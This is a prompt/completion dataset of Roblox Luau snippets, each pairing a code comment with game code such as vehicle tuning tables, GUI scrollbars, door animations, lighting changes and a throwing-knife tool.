prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--local enabled = true
local driveSeat = script.Parent.Parent.Parent.CarSeat.Value script.Parent.MouseButton1Click:Connect(function()
--[[ function luaU:make_setF(filename) local buff = {} buff.h = io.open(filename, "wb") if not buff.h then return nil end local writer = function(s, buff) -- chunk writer if not buff.h then return 0 end if not s then if buff.h:close() then return 0 end else if buff.h:write(s) then return 0 end end return 1 end return writer, buff end--]]
-- public methods
function vec:clone() return self * 1; end
--[[Steering]]
Tune.SteerInner = 46 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 47 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = 1 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 1000 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100000 -- Steering Aggressiveness
--[=[ Constructs a new DataStoreStage to load from. Prefer to use DataStore because this doesn't have any way to retrieve this. @param loadName string @param loadParent DataStoreStage? @return DataStoreStage ]=]
function DataStoreStage.new(loadName, loadParent) local self = setmetatable(BaseObject.new(), DataStoreStage) -- LoadParent is optional, used for loading self._loadName = loadName self._loadParent = loadParent self._savingCallbacks = {} -- [func, ...] self._takenKeys = {} -- [name] = true self._stores = {} -- [name] = dataSubStore return self end
--------END RIGHT DOOR --------
game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part1.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part2.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part3.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part4.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part5.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part6.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part7.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part8.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.audiencebackright1.Part9.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.post1.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.post2.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l34.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.sidesquares.l35.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) end wait(0.25) if game.Workspace.DoorFlashing.Value == true then
-- dragger
local slideDrag = dragger.new(slide,slider); local ringDrag = dragger.new(ring,wheel); function slideDrag:onDrag(guiElement, input, delta) local rY = input.Position.y - slider.AbsolutePosition.y; local cY = math.clamp(rY, 0, slider.AbsoluteSize.y - slide.AbsoluteSize.y); guiElement.Position = UDim2.new(0, 0, 0, cY); value = 1 - (cY / (slider.AbsoluteSize.y - slide.AbsoluteSize.y)); guiElement.BackgroundColor3 = Color3.fromHSV(0, 0, 1-value); update(); end function ringDrag:onDrag(guiElement, input, delta) local r = wheel.AbsoluteSize.x/2 local d = Vector2.new(input.Position.x, input.Position.y) - wheel.AbsolutePosition - wheel.AbsoluteSize/2; if (d:Dot(d) > r*r) then d = d.unit * r; end guiElement.Position = UDim2.new(0.5, d.x, 0.5, d.y); local phi, len = toPolar(d * Vector2.new(1, -1)); hue, saturation = radToDeg(phi)/360, len / r; slider.BackgroundColor3 = Color3.fromHSV(hue, saturation, 1); update(); end
-- The maximum distance the can can shoot, this value should never go above 1000
local Range = 433
--INSERT THIS SCRIPT IN SERVERSCRIPTSERVICE--
BadgeID = script.ID.Value --INSERT BADGE ID TimeNo = 50 --WHEN TO GIVE BADGE AFTER PLAYER JOINED (Don't Change)
-- ROBLOX upstream: https://github.com/facebook/jest/blob/v27.4.7/packages/test-utils/src/index.ts -- /** -- * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. -- * -- * This source code is licensed under the MIT license found in the -- * LICENSE file in the root directory of this source tree. -- */
local CurrentModule = script local alignedAnsiStyleSerializer = require(CurrentModule.alignedAnsiStyleSerializer) local configModule = require(CurrentModule.config)
----- NO EDITING BELOW -----
local weldedParts = {} table.insert(weldedParts,mainPart) function Weld(x, y) weld = Instance.new("Weld") weld.Part0 = x weld.Part1 = y local CJ = CFrame.new(x.Position) weld.C0 = x.CFrame:inverse() * CJ weld.C1 = y.CFrame:inverse() * CJ weld.Parent = x table.insert(weldedParts,y) end function WeldRec(instance) local childs = instance:GetChildren() for _,v in pairs(childs) do if v:IsA("MeshPart") then Weld(mainPart, v) end WeldRec(v) end end WeldRec(P)
--///////////////////////// Constructors --//////////////////////////////////////
function module.new(channelName, messageLogDisplay) local obj = setmetatable({}, methods) obj.Destroyed = false obj.Active = false obj.MessageLog = {} obj.MessageLogDisplay = messageLogDisplay obj.ChannelTab = nil obj.Name = channelName return obj end return module
--[[ Controls collision groups for the game. ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local PhysicsService = game:GetService("PhysicsService") local Constants = require(ReplicatedStorage.Source.Common.Constants) local CollisionGroupsController = {}
--------------------------------------------------
script.Parent.Values.RPM.Changed:connect(function() intach.Rotation = -80 + script.Parent.Values.RPM.Value * 240 / 12000 end) script.Parent.Values.Velocity.Changed:connect(function(property) inspd.Rotation = -30 + (440 / 300) * (math.abs(script.Parent.Values.Velocity.Value.Magnitude*((6/12) * (50/58)))) end) if _Tune.Aspiration ~= "Natural" then if _Tune.Aspiration == "Single" then _TCount = 1 elseif _Tune.Aspiration == "Double" then _TCount = 2 end script.Parent.Values.Boost.Changed:connect(function() local boost = (math.floor(script.Parent.Values.Boost.Value)*1.2)-((_Tune.Boost*_TCount)/5) inbst.Rotation = -30 + 61 * math.min(1,(script.Parent.Values.Boost.Value/(_Tune.Boost)/_TCount)) end) end
---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---------------------------------------------------------------- ---- ScrollBar
do -- AutoButtonColor doesn't always reset properly local function ResetButtonColor(button) local active = button.Active button.Active = not active button.Active = active end local function ArrowGraphic(size,dir,scaled,template) local Frame = Create('Frame',{ Name = "Arrow Graphic"; BorderSizePixel = 0; Size = UDim2_new(0,size,0,size); Transparency = 1; }) if not template then template = Instance_new("Frame") template.BorderSizePixel = 0 end local transform if dir == nil or dir == 'Up' then function transform(p,s) return p,s end elseif dir == 'Down' then function transform(p,s) return UDim2_new(0,p.X.Offset,0,size-p.Y.Offset-1),s end elseif dir == 'Left' then function transform(p,s) return UDim2_new(0,p.Y.Offset,0,p.X.Offset),UDim2_new(0,s.Y.Offset,0,s.X.Offset) end elseif dir == 'Right' then function transform(p,s) return UDim2_new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2_new(0,s.Y.Offset,0,s.X.Offset) end end local scale if scaled then function scale(p,s) return UDim2_new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2_new(s.X.Offset/size,0,s.Y.Offset/size,0) end else function scale(p,s) return p,s end end local o = math.floor(size/4) if size%2 == 0 then local n = size/2-1 for i = 0,n do local t = template:Clone() local p,s = scale(transform( UDim2_new(0,n-i,0,o+i), UDim2_new(0,(i+1)*2,0,1) )) t.Position = p t.Size = s t.Parent = Frame end else local n = (size-1)/2 for i = 0,n do local t = template:Clone() local p,s = scale(transform( UDim2_new(0,n-i,0,o+i), UDim2_new(0,i*2+1,0,1) )) t.Position = p t.Size = s t.Parent = Frame end end if size%4 > 1 then local t = template:Clone() local p,s = scale(transform( UDim2_new(0,0,0,size-o-1), UDim2_new(0,size,0,1) )) t.Position = p t.Size = s t.Parent = Frame end return Frame end local function GripGraphic(size,dir,spacing,scaled,template) local Frame = Create('Frame',{ Name = "Grip Graphic"; BorderSizePixel = 0; Size = UDim2_new(0,size.x,0,size.y); Transparency = 1; }) if not template then template = Instance_new("Frame") template.BorderSizePixel = 0 end spacing = spacing or 2 local scale if scaled then function scale(p) return UDim2_new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end else function scale(p) return p end end if dir == 'Vertical' then for i=0,size.x-1,spacing do local t = template:Clone() t.Size = scale(UDim2_new(0,1,0,size.y)) t.Position = scale(UDim2_new(0,i,0,0)) t.Parent = Frame end elseif dir == nil or dir == 'Horizontal' then for i=0,size.y-1,spacing do local t = template:Clone() t.Size = scale(UDim2_new(0,size.x,0,1)) t.Position = scale(UDim2_new(0,0,0,i)) t.Parent = Frame end end return Frame end local mt = { __index = { GetScrollPercent = function(self) return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace) end; CanScrollDown = function(self) return self.ScrollIndex + self.VisibleSpace < self.TotalSpace end; CanScrollUp = function(self) return self.ScrollIndex > 0 end; ScrollDown = function(self) self.ScrollIndex = self.ScrollIndex + self.PageIncrement self:Update() end; ScrollUp = function(self) self.ScrollIndex = self.ScrollIndex - self.PageIncrement self:Update() end; ScrollTo = function(self,index) self.ScrollIndex = index self:Update() end; SetScrollPercent = function(self,percent) self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5) self:Update() end; }; } mt.__index.CanScrollRight = mt.__index.CanScrollDown mt.__index.CanScrollLeft = mt.__index.CanScrollUp mt.__index.ScrollLeft = mt.__index.ScrollUp mt.__index.ScrollRight = mt.__index.ScrollDown function ScrollBar(horizontal) local ScrollFrame = Create('Frame',{ Name = "ScrollFrame", BorderSizePixel = 0, Position = horizontal and UDim2_new(0,0,1,-GUI_SIZE) or UDim2_new(1,-GUI_SIZE,0,0), Size = horizontal and UDim2_new(1,0,0,GUI_SIZE) or UDim2_new(0,GUI_SIZE,1,0), BackgroundTransparency = 1, Create('ImageButton',{ Name = "ScrollDown", Position = horizontal and UDim2_new(1,-GUI_SIZE,0,0) or UDim2_new(0,0,1,-GUI_SIZE), Size = UDim2_new(0, GUI_SIZE, 0, GUI_SIZE), BackgroundColor3 = GuiColor.Button, BorderColor3 = GuiColor.Border }), Create('ImageButton',{ Name = "ScrollUp", Size = UDim2_new(0, GUI_SIZE, 0, GUI_SIZE), BackgroundColor3 = GuiColor.Button, BorderColor3 = GuiColor.Border }), Create('ImageButton',{ Name = "ScrollBar", Size = horizontal and UDim2_new(1,-GUI_SIZE*2,1,0) or UDim2_new(1,0,1,-GUI_SIZE*2), Position = horizontal and UDim2_new(0,GUI_SIZE,0,0) or UDim2_new(0,0,0,GUI_SIZE), AutoButtonColor = false, BackgroundColor3 = Color3_new(1/4, 1/4, 1/4), BorderColor3 = GuiColor.Border, Create('ImageButton',{ Name = "ScrollThumb", AutoButtonColor = false, Size = UDim2_new(0, GUI_SIZE, 0, GUI_SIZE), BackgroundColor3 = GuiColor.Button, BorderColor3 = GuiColor.Border }) }) }) local graphicTemplate = Create('Frame',{ Name="Graphic", BorderSizePixel = 0, BackgroundColor3 = GuiColor.Border }) local graphicSize = GUI_SIZE/2 local ScrollDownFrame = ScrollFrame.ScrollDown local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and 'Right' or 'Down',true,graphicTemplate) ScrollDownGraphic.Position = UDim2_new(.5,-graphicSize/2,.5,-graphicSize/2) ScrollDownGraphic.Parent = ScrollDownFrame local ScrollUpFrame = ScrollFrame.ScrollUp local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and 'Left' or 'Up',true,graphicTemplate) ScrollUpGraphic.Position = UDim2_new(.5,-graphicSize/2,.5,-graphicSize/2) ScrollUpGraphic.Parent = ScrollUpFrame local ScrollBarFrame = ScrollFrame.ScrollBar local ScrollThumbFrame = ScrollBarFrame.ScrollThumb do local size = GUI_SIZE*3/8 local Decal = GripGraphic(Vector2_new(size,size),horizontal and 'Vertical' or 'Horizontal',2,graphicTemplate) Decal.Position = UDim2_new(.5,-size/2,.5,-size/2) Decal.Parent = ScrollThumbFrame end local Class = setmetatable({ GUI = ScrollFrame, ScrollIndex = 0, VisibleSpace = 0, TotalSpace = 0, PageIncrement = 1 },{ __index = { GetScrollPercent = function(self) return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace) end, CanScrollDown = function(self) return self.ScrollIndex + self.VisibleSpace < self.TotalSpace end, CanScrollUp = function(self) return self.ScrollIndex > 0 end, CanScrollRight = function(self) return self.ScrollIndex + self.VisibleSpace < self.TotalSpace end, CanScrollLeft = function(self) return self.ScrollIndex > 0 end, ScrollDown = function(self) self.ScrollIndex += self.PageIncrement self:Update() end, ScrollUp = function(self) self.ScrollIndex -= self.PageIncrement self:Update() end, ScrollRight = function(self) self.ScrollIndex += self.PageIncrement self:Update() end, ScrollLeft = function(self) self.ScrollIndex -= self.PageIncrement self:Update() end, ScrollTo = function(self,index) self.ScrollIndex = index self:Update() end, SetScrollPercent = function(self,percent) self.ScrollIndex = math_floor((self.TotalSpace - self.VisibleSpace)*percent + .5) self:Update() end } }) local UpdateScrollThumb if horizontal then function UpdateScrollThumb() ScrollThumbFrame.Size = UDim2_new(Class.VisibleSpace/Class.TotalSpace,0,0,GUI_SIZE) if ScrollThumbFrame.AbsoluteSize.X < GUI_SIZE then ScrollThumbFrame.Size = UDim2_new(0,GUI_SIZE,0,GUI_SIZE) end local barSize = ScrollBarFrame.AbsoluteSize.X ScrollThumbFrame.Position = UDim2_new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.X)/barSize,0,0,0) end else function UpdateScrollThumb() ScrollThumbFrame.Size = UDim2_new(0,GUI_SIZE,Class.VisibleSpace/Class.TotalSpace,0) if ScrollThumbFrame.AbsoluteSize.Y < GUI_SIZE then ScrollThumbFrame.Size = UDim2_new(0,GUI_SIZE,0,GUI_SIZE) end local barSize = ScrollBarFrame.AbsoluteSize.Y ScrollThumbFrame.Position = UDim2_new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.Y)/barSize,0) end end local lastDown, lastUp local scrollStyle = {BackgroundColor3=Color3_new(1, 1, 1),BackgroundTransparency=0} local scrollStyle_ds = {BackgroundColor3=Color3_new(1, 1, 1),BackgroundTransparency=.7} local function Update() local t, v, s = Class.TotalSpace, Class.VisibleSpace, Class.ScrollIndex if v <= t then if s > 0 then if s + v > t then Class.ScrollIndex = t - v end else Class.ScrollIndex = 0 end else Class.ScrollIndex = 0 end if Class.UpdateCallback then if Class.UpdateCallback(Class) == false then return end end local down = Class:CanScrollDown() local up = Class:CanScrollUp() if down ~= lastDown then lastDown = down ScrollDownFrame.Active = down ScrollDownFrame.AutoButtonColor = down local children = GetChildren(ScrollDownGraphic) local style = down and scrollStyle or scrollStyle_ds for i = 1,#children do Create(children[i],style) end end if up ~= lastUp then lastUp = up ScrollUpFrame.Active = up ScrollUpFrame.AutoButtonColor = up local children = GetChildren(ScrollUpGraphic) local style = up and scrollStyle or scrollStyle_ds for i = 1,#children do Create(children[i],style) end end ScrollThumbFrame.Visible = down or up UpdateScrollThumb() end Class.Update = Update SetZIndexOnChanged(ScrollFrame) local MouseDrag = Create('ImageButton',{ Name = "MouseDrag", Position = UDim2_new(-.25,0,-.25,0), Size = UDim2_new(1.5,0,1.5,0), Transparency = 1, AutoButtonColor = false, Active = true, ZIndex = 10 }) local scrollEventID = 0 Connect(ScrollDownFrame.MouseButton1Down, function() scrollEventID = tick() local current = scrollEventID local up_con up_con = Connect(MouseDrag.MouseButton1Up, function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollDownFrame) Disconnect(up_con) drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) Class:ScrollDown() wait(.2) while scrollEventID == current do Class:ScrollDown() if not Class:CanScrollDown() then break end wait() end end) Connect(ScrollDownFrame.MouseButton1Up, function() scrollEventID = tick() end) Connect(ScrollUpFrame.MouseButton1Down, function() scrollEventID = tick() local current = scrollEventID local up_con up_con = Connect(MouseDrag.MouseButton1Up, function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) Disconnect(up_con) drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) Class:ScrollUp() wait(.2) while scrollEventID == current do Class:ScrollUp() if not Class:CanScrollUp() then break end wait() end end) Connect(ScrollUpFrame.MouseButton1Up, function() scrollEventID = tick() end) if horizontal then Connect(ScrollBarFrame.MouseButton1Down, function(x,y) scrollEventID = tick() local current = scrollEventID local up_con up_con = Connect(MouseDrag.MouseButton1Up, function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) Disconnect(up_con) drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) if x > ScrollThumbFrame.AbsolutePosition.X then Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait(.2) while scrollEventID == current do if x < ScrollThumbFrame.AbsolutePosition.X + ScrollThumbFrame.AbsoluteSize.X then break end Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait() end else Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait(.2) while scrollEventID == current do if x > ScrollThumbFrame.AbsolutePosition.X then break end Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait() end end end) else Connect(ScrollBarFrame.MouseButton1Down, function(x,y) scrollEventID = tick() local current = scrollEventID local up_con up_con = Connect(MouseDrag.MouseButton1Up, function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollUpFrame) Disconnect(up_con) drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) if y > ScrollThumbFrame.AbsolutePosition.Y then Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait(.2) while scrollEventID == current do if y < ScrollThumbFrame.AbsolutePosition.Y + ScrollThumbFrame.AbsoluteSize.Y then break end Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace) wait() end else Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait(.2) while scrollEventID == current do if y > ScrollThumbFrame.AbsolutePosition.Y then break end Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace) wait() end end end) end if horizontal then Connect(ScrollThumbFrame.MouseButton1Down, function(x,y) scrollEventID = tick() local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.X local drag_con local up_con drag_con = Connect(MouseDrag.MouseMoved, function(x,y) local bar_abs_pos = ScrollBarFrame.AbsolutePosition.X local bar_drag = ScrollBarFrame.AbsoluteSize.X - ScrollThumbFrame.AbsoluteSize.X local bar_abs_one = bar_abs_pos + bar_drag x -= mouse_offset x = x < bar_abs_pos and bar_abs_pos or x > bar_abs_one and bar_abs_one or x x -= bar_abs_pos Class:SetScrollPercent(x/(bar_drag)) end) up_con = Connect(MouseDrag.MouseButton1Up, function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollThumbFrame) Disconnect(drag_con) drag_con = nil Disconnect(up_con) drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) end) else Connect(ScrollThumbFrame.MouseButton1Down, function(x,y) scrollEventID = tick() local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.Y local drag_con, up_con drag_con = Connect(MouseDrag.MouseMoved, function(x,y) local bar_abs_pos = ScrollBarFrame.AbsolutePosition.Y local bar_drag = ScrollBarFrame.AbsoluteSize.Y - ScrollThumbFrame.AbsoluteSize.Y local bar_abs_one = bar_abs_pos + bar_drag y -= mouse_offset y = y < bar_abs_pos and bar_abs_pos or y > bar_abs_one and bar_abs_one or y y -= bar_abs_pos Class:SetScrollPercent(y/(bar_drag)) end) up_con = Connect(MouseDrag.MouseButton1Up, function() scrollEventID = tick() MouseDrag.Parent = nil ResetButtonColor(ScrollThumbFrame) Disconnect(drag_con) drag_con = nil Disconnect(up_con) drag = nil end) MouseDrag.Parent = GetScreen(ScrollFrame) end) end function Class:Destroy() Destroy(ScrollFrame) Destroy(MouseDrag) for k in next, Class do Class[k] = nil end setmetatable(Class, nil) end Update() return Class end end
--[[Drivetrain]]
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 50 -- 1 - 100% Tune.RDiffLockThres = 50 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = false -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
--[=[ Constructs a new JSONTranslator from the given args. ```lua local translator = JSONTranslator.new("en", { actions = { respawn = "Respawn {playerName}"; }; }) print(translator:FormatByKey("actions.respawn"), { playerName = "Quenty"}) --> Respawn Quenty ``` ```lua local translator = JSONTranslator.new(script) -- assume there is an `en.json` underneath the script with valid JSON. ``` @param ... any @return JSONTranslator ]=]
function JSONTranslator.new(...) local self = setmetatable({}, JSONTranslator) -- Cache localizaiton table, because it can take 10-20ms to load. self._localizationTable = JsonToLocalizationTable.toLocalizationTable(...) self._englishTranslator = self._localizationTable:GetTranslator("en") self._fallbacks = {} if RunService:IsRunning() then self._promiseTranslator = LocalizationServiceUtils.promiseTranslator(Players.LocalPlayer) else self._promiseTranslator = Promise.resolved(self._englishTranslator) end if RunService:IsStudio() then PseudoLocalize.addToLocalizationTable(self._localizationTable, nil, "en") end return self end function JSONTranslator:GetLocalizationTable() return self._localizationTable end
--[[ Returns true if the system has health, and is not currently on ]]
function BaseSystem:canTurnOn() return not self:isOn() and self._health ~= 0 end
-- thanks for using my model, please put in in startercharacterscripts. -- this camera bob includes a slight bob when you're standing still and an actual bob when u move. just like the horror games. -- i hope u like it :D
local RunService = game:GetService("RunService") local camera = workspace.CurrentCamera local player = game.Players.LocalPlayer player.CameraMode = Enum.CameraMode.LockFirstPerson local character = script.Parent local humanoid = character:WaitForChild("Humanoid")
-----------------------------------------------------------------------
EngineModule.Stop = function() engine.Flying:Stop() engine.StartUp:Stop() for _,e in pairs(Misc:GetChildren()) do if e.Name == "Vents" then e.Smoke.Enabled = false end end for _,i in pairs(Misc:GetChildren()) do if i.Name == "Rotor" and i:FindFirstChild("Motor") ~= nil then repeat wait(0.001) i.Motor.MaxVelocity = i.Motor.MaxVelocity - 0.01 until i.Motor.MaxVelocity <= 0 i.Motor.MaxVelocity = 0 end end end
--use this to determine if you want this human to be harmed or not, returns boolean
function checkTeams(otherHuman) return not (sameTeam(otherHuman) and not FriendlyFire) end function getKnife() local knife = Handle:clone() knife.Transparency = 0 knife.Hit.Pitch = math.random(90, 110)/100 local lift = Instance.new("BodyForce") lift.force = Vector3.new(0, 196.2, 0) * knife:GetMass() * 0.8 lift.Parent = knife local proj = Tool.Projectile:Clone() proj.Disabled = false proj.Parent = knife return knife end function equippedLoop() while Equipped do local dt = Heartbeat:wait() if AttackPower < 1 then AttackPower = AttackPower + dt * AttackRecharge if AttackPower > 1 then AttackPower = 1 end end Handle.Fire.Enabled = AttackPower >= 1 Handle.Transparency = 1 - AttackPower end end function onLeftDown(mousePos) local knife = getKnife() knife.CFrame = CFrame.new(Handle.Position, mousePos) knife.Velocity = knife.CFrame.lookVector * AttackSpeed * AttackPower local damage = AttackDamage * AttackPower local touched touched = knife.Touched:connect(function(part) if part:IsDescendantOf(Tool.Parent) then return end if contains(Knives, part) then return end if part.Parent and part.Parent:FindFirstChild("Humanoid") then local human = part.Parent.Humanoid if checkTeams(human) then tagHuman(human) human:TakeDamage(damage) knife.Hit:Play() end end knife.Projectile:Destroy() local w = Instance.new("Weld") w.Part0 = part w.Part1 = knife w.C0 = part.CFrame:toObjectSpace(knife.CFrame) w.Parent = w.Part0 touched:disconnect() end) table.insert(Knives, knife) knife.Parent = workspace game:GetService("Debris"):AddItem(knife, 3.5) delay(2, function() knife.Transparency = 1 knife.Fire.Enabled = false end) Remote:FireClient(getPlayer(), "PlayAnimation", "Throw") Handle.Throw.Pitch = 0.8 + 0.4 * AttackPower Handle.Throw:Play() AttackPower = 0 end function onRemote(player, func, ...) if player ~= getPlayer() then return end if func == "LeftDown" then onLeftDown(...) end end function onEquip() Equipped = true equippedLoop() end function onUnequip() Equipped = false end Remote.OnServerEvent:connect(onRemote) Tool.Equipped:connect(onEquip) Tool.Unequipped:connect(onUnequip)
-- Roblox Services
local Players = game:GetService("Players")
--[[ Pops a node off of the navigation stack. ]]
function TestSession:popNode() assert(#self.nodeStack > 0, "Tried to pop from an empty node stack!") table.remove(self.nodeStack, #self.nodeStack) table.remove(self.contextStack, #self.contextStack) end
--//Controller//--
local Action = NPCAnimator:LoadAnimation(Anim) Action:Play()
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local MoneyModule = require(game.ReplicatedStorage.Source.SystemModules.Money) if MoneyModule.HasEnough(player,dialogueFolder.Parent) then return true end return false end
-- Create the game state
local gameState = { level = 1, enemies = {}, players = {} }
--[[ SCRIPT VARIABLES ]]
local CHAT_BUBBLE_FONT = Enum.Font.ArialBold local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10 local CHAT_BUBBLE_TAIL_HEIGHT = 14 local CHAT_BUBBLE_WIDTH_PADDING = 30 local CHAT_BUBBLE_PADDING = 12 local CHAT_BUBBLE_FADE_SPEED = 1.5 local BILLBOARD_MAX_WIDTH = 400 local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters local ELIPSES = "..." local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses. local MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1 local NEAR_BUBBLE_DISTANCE = 65 --previously 45 local MAX_BUBBLE_DISTANCE = 100 --previously 80
-- So in the example above, the door will move thirty times, with a distance of 0.1 every 0.01 seconds. -- Feel free to mess around with values to try and get the door moving as smoothly as possible. -- Remember, if the door is say 3 studs wide, you will have to move it 3 studs, like in the example above 0.1 x 30 = 3
wait(1) -- How long the door will remain open for i=1, 30 do p.CFrame = p.CFrame + Vector3.new(-0.1, 0, 0) wait(.01) end
-- Bind PlayerAdded event to onPlayerAdded
Players.PlayerAdded:Connect(onPlayerAdded)
-------------------------
mouse.KeyDown:connect(function (key) key = string.lower(key) if key == "u" then --Window controls if windows == false then winfob.Visible = true windows = true else windows = false winfob.Visible = false end elseif key == "[" then -- volume down if carSeat.Parent.Body.MP.Sound.Volume > 0 then handler:FireServer('updateVolume', -0.2) end elseif key == "]" then -- volume up if carSeat.Parent.Body.MP.Sound.Volume < 10 then handler:FireServer('updateVolume', 0.2) end end end) winfob.mg.Play.MouseButton1Click:connect(function() --Play the next song handler:FireServer('updateSong', winfob.mg.Input.Text) end)
-- Do not touch unless you know what you're doing.
